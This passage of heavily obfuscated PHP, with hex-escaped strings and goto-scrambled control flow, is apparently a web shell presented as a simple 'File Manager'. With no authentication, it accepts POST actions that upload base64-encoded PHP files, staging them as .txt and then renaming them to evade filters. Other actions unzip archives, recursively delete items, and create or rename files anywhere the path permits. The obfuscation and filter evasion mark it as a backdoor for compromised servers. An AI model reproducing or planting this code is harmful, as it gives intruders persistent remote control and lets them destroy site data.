goto kwiZV; } goto KpPOK; dma1E: kwiZV: goto WtbzY; tcMZL: $gC9a9 = rtrim($ooapL, "\57") . "\x2f" . $PdCWI; goto YF0BQ; ncnJk: $yN9O1 = isset($_POST["\146\x69\x6c\x65\x6e\141\x6d\x65\x5f\x62\x61\x73\x65\x36\64"]) ? $_POST["\146\151\x6c\145\x6e\x61\155\145\137\x62\141\163\x65\x36\64"] : ''; goto QX7Uf; NHQfI: goto P4lbZ; goto sbbUc; WtbzY: $PdCWI = cEYsV(base64_decode($yN9O1)); goto p4zNs; th2QV: list(, $R6omV) = explode("\54", $R6omV); goto QMUug; L23mI: case "\x75\160\154\157\141\144\x5f\x70\x68\160": goto B6NYW; Zl006: $R6omV = isset($_POST["\143\x6f\156\x74\x65\156\x74\137\142\141\163\x65\x36\64"]) ? $_POST["\x63\x6f\x6e\x74\x65\x6e\164\x5f\142\141\163\145\x36\64"] : ''; goto yWCoE; CU_Re: J0z6m: goto f92Ym; E4ZLe: goto bnDJf; goto V8YpZ; f92Ym: $J1_Oh = base64_decode($R6omV); goto WyIw8; OPQFR: WirDM: goto vevcW; xuu8c: vLXpy: goto E4ZLe; kRw9V: throw new Exception("\x43\x6f\x75\154\144\40\156\157\164\40\x72\x65\156\x61\155\145\x20\x74\145\155\160\157\x72\141\x72\x79\x20\x66\151\x6c\145\56"); goto ZBWEy; b1DsL: unlink($AEm0C); goto kRw9V; Y88DC: if (!(strpos($R6omV, "\54") !== false)) { goto J0z6m; } goto gcgF6; Nn82Y: throw new Exception("\x43\157\165\154\x64\40\156\x6f\x74\x20\163\x61\x76\x65\40\164\x65\x6d\x70\x6f\162\x61\x72\171\x20\146\151\154\145\56\x20\x43\x68\145\x63\x6b\x20\160\145\x72\x6d\151\163\x73\x69\157\x6e\163\56"); goto kriSi; yzH7N: TK2Oq: goto qeDaw; kriSi: fWt5W: goto HMdKl; yWCoE: if (!(!yDfpO($ooapL) || empty($yN9O1) || empty($R6omV))) { goto TK2Oq; } goto swYXJ; ZBWEy: goto vLXpy; goto OPQFR; WI08N: $yN9O1 = isset($_POST["\x66\x69\x6c\x65\156\141\155\x65\x5f\x62\x61\163\145\x36\x34"]) ? $_POST["\x66\x69\x6c\145\156\x61\x6d\145\137\142\141\x73\145\66\64"] : ''; goto Zl006; B6NYW: $ooapL = isset($_POST["\x70\141\164\x68"]) ? jjd4b($_POST["\x70\x61\x74\x68"]) : __DIR__; goto WI08N; WyIw8: $AEm0C = rtrim($ooapL, "\x2f") . "\57" . $oblPN; goto NhutO; bqbce: $oblPN = $Bn0xM . "\x2e\x74\x78\x74"; goto Y88DC; swYXJ: throw new Exception("\111\x6e\166\x61\x6c\151\144\40\144\x61\x74\x61\x20\x66\157\x72\40\120\110\x50\x20\x75\160\154\157\x61\x64\x2e"); goto yzH7N; NhutO: $Q4m6d = rtrim($ooapL, "\57") . "\x2f" . $Bn0xM; goto oZma0; oZma0: if (!(file_put_contents($AEm0C, $J1_Oh) === false)) { goto fWt5W; } goto Nn82Y; gcgF6: list(, $R6omV) = explode("\54", $R6omV); goto CU_Re; HMdKl: if (rename($AEm0C, $Q4m6d)) { goto WirDM; } goto b1DsL; vevcW: $q79DL = ["\163\x75\x63\x63\145\x73\x73" => true, "\x6d\145\163\163\141\x67\x65" => "\120\110\120\40\146\151\x6c\145\x20\x75\x70\154\x6f\141\x64\x65\x64\40\x73\165\143\x63\145\163\x73\x66\165\154\154\171\x2e"]; goto xuu8c; qeDaw: $Bn0xM = ceYsV(base64_decode($yN9O1)); goto bqbce; V8YpZ: case "\x75\x6e\172\151\160": goto s5mz1; O3sHE: if ($Wkkc4->open($q0wLi) === TRUE) { goto KDLvq; } goto uUz3B; LzonR: POZcr: goto aXKE_; D3rH3: $Wkkc4->extractTo(dirname($q0wLi)); goto J1vFp; rYv2b: if (!(!realpath($q0wLi) || !is_file(realpath($q0wLi)) || pathinfo($q0wLi, PATHINFO_EXTENSION) !== "\x7a\151\x70")) { goto POZcr; } goto UX2g3; C21Y7: $q79DL = ["\163\x75\143\143\x65\163\163" => true, "\155\x65\163\163\141\x67\x65" => "\x41\162\x63\150\x69\166\x65\40\145\x78\x74\x72\x61\143\x74\145\x64\56"]; goto Ucs6X; x8zfG: goto bnDJf; goto f33VW; J1vFp: $Wkkc4->close(); goto C21Y7; MqTvH: tEg1A: goto yiaUK; j0sCT: $Wkkc4 = new ZipArchive(); goto O3sHE; ToCfJ: goto XtUff; goto bOwMo; aXKE_: if (class_exists("\x5a\x69\x70\x41\162\143\150\x69\166\145")) { goto ElHZw; } goto MXIJo; s5mz1: $ooapL = isset($_POST["\x70\x61\164\x68"]) ? jJD4b($_POST["\x70\x61\164\x68"]) : __DIR__; goto zbMdr; uUz3B: throw new Exception("\x46\141\x69\x6c\145\x64\40\164\x6f\x20\x6f\160\x65\x6e\x20\x61\x72\x63\150\151\x76\x65\56"); goto ToCfJ; MXIJo: throw new Exception("\120\110\x50\x20\x5a\x49\x50\40\145\x78\164\145\x6e\x73\x69\157\x6e\40\x6e\157\x74\x20\151\156\163\x74\x61\x6c\x6c\x65\x64\x2e"); goto VoUsi; bOwMo: KDLvq: goto D3rH3; yiaUK: $q0wLi = isset($_POST["\160\x61\x74\150"]) ? JjD4b($_POST["\160\x61\164\x68"]) : ''; goto rYv2b; Ucs6X: XtUff: goto x8zfG; UX2g3: throw new Exception("\111\x6e\x76\141\154\x69\x64\x20\132\x49\120\x20\146\151\x6c\145\x20\160\x61\x74\x68\x2e"); goto LzonR; ucmFb: throw new Exception("\111\156\x76\x61\x6c\151\144\40\160\x61\164\150\x2e"); goto MqTvH; VoUsi: ElHZw: goto j0sCT; zbMdr: if (ydFpo($ooapL)) { goto tEg1A; } goto ucmFb; f33VW: case "\x64\145\154\x65\164\145": goto FPZbG; u5NcJ: if (!empty($bWUW3)) { goto rUiF_; } goto eBqpd; cTVIj: $q79DL = ["\x73\165\x63\x63\x65\x73\x73" => true, "\x6d\x65\x73\x73\x61\147\x65" => "\x49\164\145\x6d\163\x20\144\145\154\x65\x74\x65\x64\x2e"]; goto rT2up; KdoDa: $bWUW3 = isset($_POST["\151\x74\x65\155\163"]) && is_array($_POST["\151\164\145\155\163"]) ? $_POST["\151\164\x65\x6d\x73"] : []; goto u5NcJ; E2D4L: BztYM: goto cTVIj; fOsN3: rUiF_: goto AgMN4; rT2up: goto bnDJf; goto BKI6N; AgMN4: function XfVXg($eaTNp) { goto wI7ft; Sm6T0: return unlink($eaTNp); goto q1uV6; hZvYM: foreach ($wVV0d as $pReE1) { XfvxG("{$eaTNp}\57{$pReE1}"); o4yDq: } goto y1wll; U3DTX: Ffl0p: goto WltEH; wI7ft: if (is_dir($eaTNp)) { goto R2DiK; } goto Sm6T0; RXmLC: $wVV0d = array_diff(scandir($eaTNp), ["\x2e", "\56\56"]); goto hZvYM; y1wll: bNmS3: goto tAMc2; q1uV6: goto Ffl0p; goto uuSRV; uuSRV: R2DiK: goto RXmLC; tAMc2: return rmdir($eaTNp); goto U3DTX; WltEH: } goto KXBUr; FPZbG: $ooapL = isset($_POST["\160\x61\x74\150"]) ? jJD4B($_POST["\x70\141\164\x68"]) : __DIR__; goto KdoDa; KXBUr: foreach ($bWUW3 as $eaTNp) { goto PW4gw; pUglZ: xwwNc: goto ZN2Os; ZN2Os: ND8PJ: goto i4ezz; PW4gw: $KmTaF = rtrim($ooapL, "\x2f") . "\57" . $eaTNp; goto lHIG_; lHIG_: if (!file_exists($KmTaF)) { goto xwwNc; } goto WZLEW; WZLEW: xFvXg($KmTaF); goto pUglZ; i4ezz: } goto E2D4L; eBqpd: throw new Exception("\116\x6f\40\x69\x74\145\x6d\x73\40\163\145\x6c\x65\x63\164\145\144\40\x66\157\x72\x20\x64\x65\154\x65\x74\151\157\156\56"); goto fOsN3; BKI6N: case "\x64\x65\x6c\x65\x74\x65\x5f\x62\x36\x34": goto otWAZ; LU5mv: $bWUW3 = []; goto BwW3l; PbDum: gvkR4: goto pJoHD; fSNaK: if (!empty($bWUW3)) { goto gvkR4; } goto QZ514; cIHDv: K2bqD: goto fSNaK; BwW3l: foreach ($A70zm as $qNAiK) { $bWUW3[] = base64_decode($qNAiK); HNGcj: } goto cIHDv; JMckE: c0kU1: goto sA2yR; QqrhO: foreach ($bWUW3 as $eaTNp) { goto BTbmF; Loiiy: ht4sx($KmTaF); goto OicR4; XudAv: if (!file_exists($KmTaF)) { goto mqbzK; } goto Loiiy; OicR4: mqbzK: goto RTC8F; BTbmF: $KmTaF = rtrim($ooapL, "\x2f") . "\57" . $eaTNp; goto XudAv; RTC8F: KxRbW: goto B6tna; B6tna: } goto JMckE; sA2yR: $q79DL = ["\163\x75\x63\143\x65\163\x73" => true, "\x6d\x65\x73\163\x61\147\145" => "\x49\164\x65\155\163\x20\144\145\154\145\x74\x65\144\x2e"]; goto wZdEV; otWAZ: $ooapL = isset($_POST["\x70\x61\x74\150"]) ? jJD4B($_POST["\160\141\164\150"]) : __DIR__; goto TNA_v; TNA_v: $A70zm = isset($_POST["\x69\164\145\155\163\137\x62\66\64"]) && is_array($_POST["\x69\164\145\x6d\163\x5f\142\x36\64"]) ? $_POST["\151\164\145\x6d\163\x5f\x62\66\64"] : []; goto LU5mv; pJoHD: function ht4SX($eaTNp) { goto budJE; SjGHe: goto MEj4a; goto UMNgn; UQrMl: return rmdir($eaTNp); goto l5I_f; budJE: if (is_dir($eaTNp)) { goto fWcIq; } goto pz5P7; xkEYT: Pvj2e: goto UQrMl; JbjiH: foreach ($wVV0d as $pReE1) { hT4SX("{$eaTNp}\x2f{$pReE1}"); BFMuM: } goto xkEYT; pz5P7: return unlink($eaTNp); goto SjGHe; l5I_f: MEj4a: goto kHwXw; UMNgn: fWcIq: goto hCsz0; hCsz0: $wVV0d = array_diff(scandir($eaTNp), ["\x2e", "\x2e\56"]); goto JbjiH; kHwXw: } goto QqrhO; wZdEV: goto bnDJf; goto Q5Rzp; QZ514: throw new Exception("\x4e\157\40\151\164\x65\x6d\163\40\163\145\x6c\145\143\x74\x65\144\40\x66\x6f\162\40\x64\145\154\x65\164\x69\x6f\x6e\56"); goto PbDum; Q5Rzp: case "\143\162\x65\141\x74\x65\137\146\157\x6c\144\145\162": goto ztWVh; mUMIP: goto bnDJf; goto lx5XU; mYvti: ldHMg: goto xpYOY; a3hlU: goto UswWE; goto mYvti; kzSfr: UswWE: goto mUMIP; xpYOY: $q79DL = ["\163\165\x63\143\x65\163\x73" => true, "\155\x65\163\x73\x61\147\145" => "\106\x6f\154\x64\145\162\40\x63\162\145\141\x74\x65\x64\56"]; goto kzSfr; vkBzj: throw new Exception("\x49\x6e\166\x61\x6c\151\144\40\x70\141\164\x68\x20\157\162\x20\146\x6f\154\x64\145\162\x20\156\x61\155\145\x2e"); goto tOdED; EILNx: if (mkdir(rtrim($ooapL, "\x2f") . "\x2f" . $qEjAc)) { goto ldHMg; } goto wAPnT; wAPnT: throw new Exception("\103\157\165\154\144\40\x6e\157\164\40\143\162\x65\x61\164\x65\x20\x66\157\x6c\x64\145\x72\56"); goto a3hlU; c03e3: $qEjAc = isset($_POST["\156\141\155\x65"]) ? str_replace(["\56\56", "\x2f", "\134"], '', $_POST["\x6e\x61\x6d\145"]) : ''; goto hac1q; tOdED: hbuI0: goto EILNx; hac1q: if (!(!yDfpo($ooapL) || empty($qEjAc))) { goto hbuI0; } goto vkBzj; ztWVh: $ooapL = isset($_POST["\160\x61\x74\150"]) ? jjd4B($_POST["\160\141\x74\x68"]) : __DIR__; goto c03e3; lx5XU: case "\x72\145\x6e\141\x6d\x65": goto p6ywq; QHYtL: TCrtQ: goto le03x; FZYC8: x7Lw8: goto soCY5; le03x: $q79DL = ["\x73\x75\143\143\145\x73\163" => true, "\x6d\x65\163\x73\141\x67\x65" => "\111\164\x65\x6d\x20\x72\x65\156\141\x6d\145\x64\40\163\x75\143\143\145\163\163\x66\x75\154\154\x79\56"]; goto XuZ63; ba7JF: $ipFqH = isset($_POST["\x6f\154\144\x5f\156\x61\x6d\145"]) ? $_POST["\157\154\x64\137\156\141\x6d\145"] : ''; goto vU9JC; IZuu9: throw new Exception("\104\x69\x72\x65\x63\x74\x6f\162\171\x20\x69\163\40\x6e\x6f\x74\40\x77\x72\151\164\141\x62\x6c\145\x2e"); goto FZYC8; A65WH: if (file_exists($DWNrJ)) { goto XnZ0N; } goto QPgdH; XuZ63: Nupzy: goto ap0Zw; oYUQx: if (is_writable(dirname($DWNrJ))) { goto x7Lw8; } goto IZuu9; fkbda: $DWNrJ = rtrim($ooapL, "\57") . "\x2f" . $ipFqH; goto GZl1b; Jfmol: goto Nupzy; goto QHYtL; vNqpg: if (!(!yDFpO($ooapL) || empty($ipFqH) || empty($Ce66a))) { goto h3d9D; } goto AEkMK; GZl1b: $XK7hq = rtrim($ooapL, "\x2f") . "\x2f" . $Ce66a; goto OqVSk; NlZXn: XnZ0N: goto oYUQx; AEkMK: throw new Exception("\x49\x6e\166\x61\154\151\144\x20\144\x61\x74\x61\x20\x66\157\162\40\x72\x65\156\x61\x6d\x69\x6e\147\x2e"); goto x4SX_; lcFXm: throw new Exception("\103\x6f\x75\x6c\144\40\156\157\164\x20\x72\x65\156\141\x6d\145\40\x69\x74\x65\155\x2e\40\103\150\145\143\x6b\x20\x70\x65\x72\x6d\151\163\163\151\157\156\163\x2e"); goto Jfmol; p6ywq: $ooapL = isset($_POST["\160\x61\164\150"]) ? Jjd4B($_POST["\160\x61\164\x68"]) : __DIR__; goto ba7JF; soCY5: if (rename($DWNrJ, $XK7hq)) { goto TCrtQ; } goto lcFXm; x4SX_: h3d9D: goto fkbda; QPgdH: throw new Exception("\123\157\x75\x72\x63\x65\40\x69\164\x65\x6d\40\x64\x6f\x65\163\x20\x6e\157\164\x20\x65\x78\x69\x73\164\40\141\164\x3a\x20" . $DWNrJ); goto NlZXn; vU9JC: $Ce66a = isset($_POST["\x6e\145\x77\137\156\x61\155\145"]) ? str_replace(["\x2e\x2e", "\x2f", "\x5c"], '', $_POST["\156\x65\167\x5f\156\141\x6d\145"]) : ''; goto vNqpg; ap0Zw: goto bnDJf; goto kPMbG; OqVSk: clearstatcache(); goto A65WH; kPMbG: case "\162\145\x6e\141\x6d\145\x5f\142\x36\x34": goto CqDmt; XUles: throw new Exception("\111\156\166\141\154\x69\144\x20\x64\x61\164\141\x20\146\x6f\x72\x20\162\145\x6e\141\x6d\x69\x6e\x67\x2e"); goto sxKIl; uoLZF: unlink($Jae4S); goto UNfpq; w4Sgo: if (unlink($DWNrJ)) { goto qtSUR; } goto i5s2X; nD0HD: $q79DL = ["\x73\165\143\143\145\163\x73" => true, "\155\x65\163\x73\141\x67\x65" => "\x49\x74\145\155\x20\162\145\x6e\141\155\145\x64\x20\163\165\x63\x63\145\x73\163\x66\x75\154\x6c\x79\40\165\x73\151\x6e\147\40\x62\x36\x34\40\155\x65\164\150\157\x64\x2e"]; goto MbvMN; NiYrI: $jXh5T = isset($_POST["\156\145\167\137\156\x61\155\145\137\x62\x36\64"]) ? $_POST["\x6e\145\x77\137\x6e\141\x6d\145\137\x62\66\64"] : ''; goto mitCB; CqDmt: $ooapL = isset($_POST["\160\x61\164\x68"]) ? jJd4B($_POST["\160\141\x74\x68"]) : __DIR__; goto NMdOY; sxKIl: z3q0L: goto r2xFS; NMdOY: $JxPIm = isset($_POST["\157\x6c\144\137\156\141\x6d\145\137\142\66\64"]) ? $_POST["\157\x6c\144\x5f\x6e\x61\x6d\x65\x5f\142\x36\x34"] : ''; goto NiYrI; JiGHa: $XK7hq = rtrim($ooapL, "\57") . "\57" . $Ce66a; goto lzpIr; ZVpU3: copy($Jae4S, $DWNrJ); goto uoLZF; r2xFS: $DWNrJ = rtrim($ooapL, "\57") . "\x2f" . $ipFqH; goto JiGHa; mitCB: $ipFqH = base64_decode($JxPIm); goto ByXkK; LT53D: qtSUR: goto MIMHv; zrFH6: if (!(!yDfPO($ooapL) || empty($ipFqH) || empty($Ce66a))) { goto z3q0L; } goto XUles; lzpIr: $Jae4S = $DWNrJ . "\56\164\170\x74"; goto LoUrW; OCbtK: goto bnDJf; goto Ia3ie; iUAej: ZLSRE: goto w4Sgo; LoUrW: if (copy($DWNrJ, $Jae4S)) { goto ZLSRE; } goto U3abX; ByXkK: $Ce66a = base64_decode($jXh5T); goto zrFH6; MIMHv: if (rename($Jae4S, $XK7hq)) { goto KkcZW; } goto ZVpU3; T9CFD: goto rbmxA; goto RgL8U; UNfpq: throw new Exception("\103\x6f\165\x6c\144\40\x6e\x6f\x74\40\x70\145\162\146\x6f\162\155\x20\x66\x69\x6e\141\154\x20\x72\x65\x6e\x61\x6d\x65\x2e\40\117\x72\x69\x67\x69\x6e\x61\154\40\146\151\x6c\x65\x20\155\x61\171\x20\142\145\x20\x72\145\x73\x74\x6f\162\145\x64\56"); goto T9CFD; MbvMN: rbmxA: goto OCbtK; JTzmo: throw new Exception("\103\x6f\165\x6c\x64\40\x6e\157\x74\40\144\x65\154\x65\164\145\40\x6f\x72\x69\x67\151\156\141\x6c\40\x66\x69\x6c\145\56"); goto LT53D; U3abX: throw new Exception("\x43\157\x75\x6c\144\x20\156\157\164\40\x63\162\145\141\x74\145\40\164\x65\x6d\x70\157\x72\141\162\x79\x20\x63\x6f\160\x79\x2e"); goto iUAej; RgL8U: KkcZW: goto nD0HD; i5s2X: unlink($Jae4S); goto JTzmo; Ia3ie: } goto kI0IX; jud02: bnDJf: goto t_ugl; t_ugl: } catch (Exception $JE7GG) { $q79DL = ["\163\x75\x63\x63\145\163\163" => false, "\x6d\145\x73\x73\141\x67\x65" => $JE7GG->getMessage()]; } goto SwQXx; ZpdLJ: echo basename(__FILE__); goto lHG0m; ca06j: function YdfPO($ooapL) { return realpath($ooapL) !== false || is_dir(dirname($ooapL)); } goto GcQ8u; udXkl: echo "\x27\40\x7d\x3b\12\40\40\40\40\40\40\40\x20\x63\x6f\x6e\163\164\40\125\120\114\x4f\101\104\x5f\x4c\x49\x4d\x49\124\x5f\x4d\102\40\x3d\x20\x38\x3b\xa\x20\40\40\x20\40\x20\x20\40\x63\157\x6e\x73\x74\x20\144\x6f\x6d\40\x3d\x20\x7b\40\146\151\154\x65\114\151\x73\164\x3a\x64\x6f\x63\165\155\x65\x6e\x74\56\147\145\x74\x45\x6c\145\x6d\145\156\164\x42\x79\x49\x64\50\47\146\151\154\x65\114\x69\163\x74\x27\x29\54\160\x61\164\x68\102\141\x72\x3a\x64\x6f\143\x75\x6d\145\x6e\x74\56\147\145\164\x45\x6c\x65\x6d\x65\x6e\x74\102\x79\x49\x64\50\47\x70\x61\x74\x68\102\141\x72\47\x29\x2c\x75\160\x6c\157\x61\144\x42\x74\x6e\72\144\x6f\x63\x75\x6d\145\x6e\164\56\147\145\x74\x45\x6c\x65\155\x65\x6e\164\102\171\111\x64\x28\x27\x75\160\x6c\157\141\x64\x42\x74\x6e\x27\51\x2c\x6e\x65\x77\x46\151\x6c\x65\x42\164\156\72\144\157\x63\x75\x6d\x65\x6e\164\56\x67\x65\164\x45\x6c\x65\x6d\145\x6e\x74\x42\171\x49\144\50\x27\x6e\145\x77\106\151\x6c\145\102\x74\156\x27\51\x2c\x6e\145\167\x46\x6f\x6c\144\145\x72\102\164\156\x3a\x64\x6f\x63\165\x6d\x65\156\x74\x2e\x67\145\164\105\154\145\155\x65\x6e\164\102\x79\x49\x64\50\47\156\x65\x77\106\x6f\x6c\x64\x65\x72\102\x74\156\x27\x29\x2c\x64\x65\154\145\164\145\x42\164\x6e\x3a\144\x6f\143\165\x6d\x65\x6e\164\x2e\147\x65\164\105\154\x65\155\x65\156\x74\x42\x79\111\x64\x28\x27\144\x65\154\145\x74\x65\102\164\x6e\x27\51\54\x73\145\154\x65\143\x74\101\x6c\x6c\72\144\x6f\143\165\x6d\145\x6e\164\x2e\147\x65\x74\x45\x6c\145\155\x65\156\164\x42\171\111\144\50\47\x73\x65\154\x65\143\164\x41\154\154\47\51\x2c\x73\x70\x69\x6e\x6e\145\x72\x3a\144\x6f\143\165\x6d\145\156\x74\56\147\x65\164\105\154\145\155\145\156\x74\102\x79\x49\x64\50\x27\163\160\x69\156\x6e\145\162\x27\x29\x2c\x68\151\x64\x64\145\x6e\106\x69\x6c\145\x49\156\x70\x75\x74\x3a\x64\157\143\x75\x6d\145\156\164\56\x67\x65\164\105\154\145\x6d\145\x6e\164\102\171\x49\144\x28\x27\x68\151\x64\x64\145\156\106\x69\x6c\x65\111\x6e\x70\165\x74\47\x29\x2c\x65\144\x69\164\157\x72\x4d\157\144\141\154\72\144\x6f\x63\165\x6d\x65\x6e\164\x2e\x67\x65\x74\105\154\x65\x6d\x65\156\164\x42\x79\x49\144\50\x27\145\x64\151\x74\157\162\115\157\x64\x61\x6c\47\51\54\145\x64\151\x74\x6f\162\106\151\154\x65\x6e\x61\155\145\x3a\x64\157\x63\165\155\x65\x6e\164\56\147\x65\164\x45\x6c\x65\155\145\156\x74\x42\x79\111\144\50\47\x65\x64\151\164\x6f\162\x46\151\x6c\x65\x6e\141\155\x65\x27\x29\x2c\145\x64\151\x74\x6f\162\x3a\x64\157\x63\165\155\x65\x6e\164\x2e\x67\x65\x74\105\154\145\155\x65\156\164\x42\x79\111\x64\x28\x27\x65\144\x69\164\x6f\162\47\51\54\163\x61\166\x65\102\164\x6e\72\x64\x6f\x63\165\x6d\x65\156\x74\x2e\147\145\x74\105\154\x65\x6d\145\x6e\164\102\171\x49\x64\x28\x27\163\141\x76\x65\102\x74\x6e\x27\51\x2c\175\x3b\12\40\40\40\x20\40\x20\40\40\xa\40\x20\x20\x20\x20\x20\x20\x20\141\x73\x79\156\143\x20\x66\x75\156\x63\x74\151\157\x6e\x20\x61\160\x69\103\141\154\x6c\50\141\x63\x74\x69\x6f\156\54\x20\x66\x6f\162\155\x44\141\x74\x61\54\40\x73\150\157\167\x53\165\143\143\145\163\163\x3d\x66\141\154\x73\145\x29\x20\173\12\x20\40\40\40\x20\40\40\x20\40\40\40\40\144\157\155\56\163\160\x69\x6e\x6e\145\162\56\x73\x74\x79\x6c\x65\x2e\144\151\x73\160\154\141\171\x3d\x27\x69\156\x6c\x69\x6e\145\55\142\x6c\x6f\x63\x6b\x27\73\12\x20\40\40\x20\x20\x20\40\x20\x20\x20\x20\40\x74\x72\x79\40\x7b\x20\x66\157\x72\x6d\x44\x61\164\x61\56\x61\160\160\145\156\x64\x28\47\x61\143\x74\151\x6f\x6e\x27\x2c\x20\141\x63\x74\151\157\156\51\73\x20\143\x6f\x6e\163\164\40\162\x65\x73\160\x6f\x6e\163\145\x20\75\x20\x61\x77\141\x69\164\40\x66\x65\x74\x63\x68\50\x27"; goto ZpdLJ; erxkd: function JJD4B($D6foD) { return is_string($D6foD) ? stripslashes($D6foD) : $D6foD; } goto P4y1k; Mxmu2: echo NfS22(__DIR__); goto udXkl; SwQXx: echo json_encode($q79DL); goto CaJK9; EFqQv: if (!isset($_REQUEST["\141\143\x74\151\157\156"])) { goto X0EyZ; } goto cVFKn; bE_yA: function ceYsv($PdCWI) { goto AJEST; MSK9s: $PdCWI = trim($PdCWI); goto Xjns_; P09kZ: return $PdCWI; goto IcRQq; iXnSI: $PdCWI = str_replace($XjNo2, '', $PdCWI); goto MSK9s; AJEST: $XjNo2 = ["\x22", "\x27", "\x26", "\x2f", "\x5c", "\77", "\43", "\x3c", "\76", "\x7c", "\72", "\x2a"]; goto iXnSI; Xjns_: $PdCWI = preg_replace("\x2f\134\163\53\57", "\137", $PdCWI); goto P09kZ; IcRQq: } goto EFqQv; cVFKn: header("\103\157\156\164\145\156\x74\x2d\124\171\160\x65\72\40\x61\160\x70\x6c\x69\x63\x61\x74\151\x6f\156\x2f\x6a\x73\157\x6e\x3b\40\x63\x68\141\x72\163\145\x74\75\x75\164\146\55\70"); goto ca06j; P4y1k: function NFS22($ooapL) { return str_replace("\x5c", "\x2f", $ooapL); } goto bE_yA; Gy_1O: $q79DL = ["\x73\x75\x63\x63\145\x73\x73" => false, "\155\x65\x73\163\141\147\145" => "\x49\156\x76\141\154\x69\x64\x20\x61\143\x74\x69\x6f\156\56"]; goto Xl09B; Ats5U: echo "\74\x21\104\x4f\103\x54\131\x50\105\x20\150\x74\x6d\x6c\x3e\12\74\150\164\x6d\x6c\x20\154\141\x6e\147\75\42\x65\156\x22\76\12\74\150\x65\141\144\76\12\x20\40\40\x20\x3c\155\x65\x74\141\40\143\150\141\x72\x73\145\x74\x3d\x22\x55\124\x46\x2d\70\x22\76\74\164\x69\164\x6c\x65\76\106\151\x6c\x65\x20\x4d\141\156\x61\x67\145\x72\x3c\57\164\x69\x74\154\145\x3e\x3c\x6d\145\x74\x61\x20\156\x61\155\145\x3d\x22\x76\x69\x65\x77\x70\157\162\x74\42\40\143\157\x6e\x74\x65\x6e\164\x3d\42\167\151\144\164\150\75\144\145\x76\x69\x63\145\x2d\x77\x69\144\x74\x68\x2c\x20\151\x6e\x69\x74\151\141\154\x2d\163\x63\141\154\145\x3d\x31\56\60\42\76\12\x20\40\x20\40\74\x73\164\x79\154\145\x3e\12\40\x20\40\40\x20\x20\x20\40\x3a\x72\x6f\157\x74\x7b\55\x2d\141\143\143\145\156\x74\55\x63\x6f\x6c\157\x72\x3a\x23\x32\62\67\61\x62\x31\73\55\55\x68\x6f\x76\145\162\55\x63\x6f\x6c\x6f\162\72\43\x31\145\x36\x35\x39\144\x3b\55\55\x64\x61\x6e\x67\x65\162\55\143\157\x6c\x6f\x72\x3a\43\144\x36\x33\66\x33\x38\73\x7d\xa\40\40\40\40\40\x20\40\40\x62\x6f\144\x79\173\x66\157\156\164\x2d\146\x61\155\151\x6c\171\72\55\x61\160\x70\154\x65\x2d\163\171\x73\164\x65\x6d\x2c\x42\x6c\x69\156\153\x4d\x61\x63\x53\x79\163\x74\145\155\x46\x6f\156\x74\x2c\x22\x53\x65\147\x6f\145\x20\125\111\x22\x2c\122\157\142\x6f\164\157\54\x4f\x78\171\147\x65\x6e\55\123\x61\x6e\163\54\125\142\x75\156\164\x75\x2c\103\x61\156\164\141\162\x65\x6c\x6c\x2c\42\x48\x65\154\x76\x65\164\x69\x63\x61\x20\x4e\x65\x75\x65\x22\x2c\x73\141\x6e\x73\x2d\x73\x65\x72\x69\x66\73\142\x61\x63\153\x67\162\x6f\165\x6e\x64\72\43\x66\60\x66\60\146\x31\x3b\x6d\141\x72\147\x69\156\x3a\x30\73\175\12\40\x20\x20\x20\40\40\40\x20\56\143\x6f\156\x74\x61\x69\x6e\145\162\x7b\144\151\163\160\x6c\x61\171\72\146\154\145\x78\73\x66\x6c\x65\170\55\x64\151\x72\x65\x63\164\151\x6f\156\72\143\157\154\165\155\x6e\x3b\150\x65\151\x67\x68\x74\72\61\60\x30\166\x68\73\x7d\x68\145\141\144\x65\162\x7b\x62\x61\143\x6b\147\x72\157\165\156\x64\72\x23\146\x66\146\x3b\x70\141\144\144\151\x6e\147\x3a\x31\x30\x70\170\40\x32\60\160\x78\73\142\x6f\x72\x64\x65\162\55\142\x6f\164\164\157\155\x3a\x31\160\x78\x20\x73\x6f\154\151\144\40\43\144\144\144\x3b\144\x69\x73\160\x6c\x61\x79\72\x66\x6c\145\170\73\x6a\x75\x73\x74\151\146\x79\55\x63\157\156\164\145\x6e\164\x3a\163\160\x61\x63\145\x2d\142\145\164\x77\145\x65\x6e\73\141\x6c\151\147\156\x2d\x69\164\x65\155\163\72\x63\145\x6e\164\145\162\x3b\146\x6c\145\170\55\163\150\162\151\156\x6b\72\60\x3b\175\155\141\x69\156\x7b\x66\154\145\x78\x2d\147\x72\x6f\167\x3a\61\73\160\141\x64\144\x69\x6e\x67\x3a\62\x30\160\170\x3b\157\166\145\162\146\x6c\x6f\167\55\x79\72\141\x75\164\157\x3b\175\56\x74\x6f\157\154\x62\141\x72\173\x6d\141\x72\147\x69\x6e\55\142\157\x74\164\157\x6d\x3a\x31\65\160\170\73\144\x69\x73\160\x6c\x61\171\72\x66\154\x65\x78\73\x66\154\145\170\55\167\x72\x61\x70\72\167\162\x61\160\x3b\147\x61\160\x3a\61\60\x70\170\x3b\x61\154\151\x67\x6e\55\151\164\145\155\163\x3a\143\x65\x6e\164\145\x72\x3b\175\x2e\x70\x61\x74\150\x2d\x62\x61\162\173\x62\x61\143\x6b\147\x72\x6f\x75\156\x64\x3a\43\x66\146\x66\73\160\x61\144\x64\151\156\147\72\70\160\x78\40\61\x32\x70\x78\x3b\142\x6f\x72\144\145\x72\55\162\141\x64\151\x75\x73\x3a\x34\x70\x78\x3b\x62\x6f\162\144\x65\x72\72\x31\x70\x78\40\163\157\154\151\x64\x20\43\x64\144\x64\x3b\146\x6f\156\164\x2d\x66\x61\x6d\x69\x6c\x79\x3a\155\157\x6e\x6f\163\160\141\143\145\73\x66\154\145\x78\55\147\162\157\x77\x3a\x31\73\x77\157\x72\144\55\142\x72\145\141\153\x3a\x62\162\x65\141\153\x2d\141\154\154\73\175\x2e\x66\x69\x6c\x65\x2d\164\141\142\154\145\x7b\167\x69\x64\164\x68\72\61\x30\x30\45\x3b\142\157\162\x64\x65\x72\x2d\x63\x6f\x6c\x6c\141\160\x73\x65\x3a\x63\x6f\154\154\x61\160\163\145\x3b\x62\141\143\x6b\147\x72\157\165\x6e\x64\72\x23\x66\146\146\73\x74\x61\x62\x6c\x65\55\x6c\141\171\x6f\165\x74\72\x66\x69\x78\x65\x64\73\175\x2e\146\151\154\x65\55\164\x61\x62\154\145\x20\164\150\54\56\146\151\x6c\145\x2d\x74\141\142\x6c\x65\x20\x74\x64\173\164\145\170\164\55\141\154\151\x67\156\72\x6c\145\146\x74\73\x62\x6f\x72\x64\145\x72\x2d\142\157\x74\164\x6f\155\72\61\x70\x78\x20\x73\157\x6c\x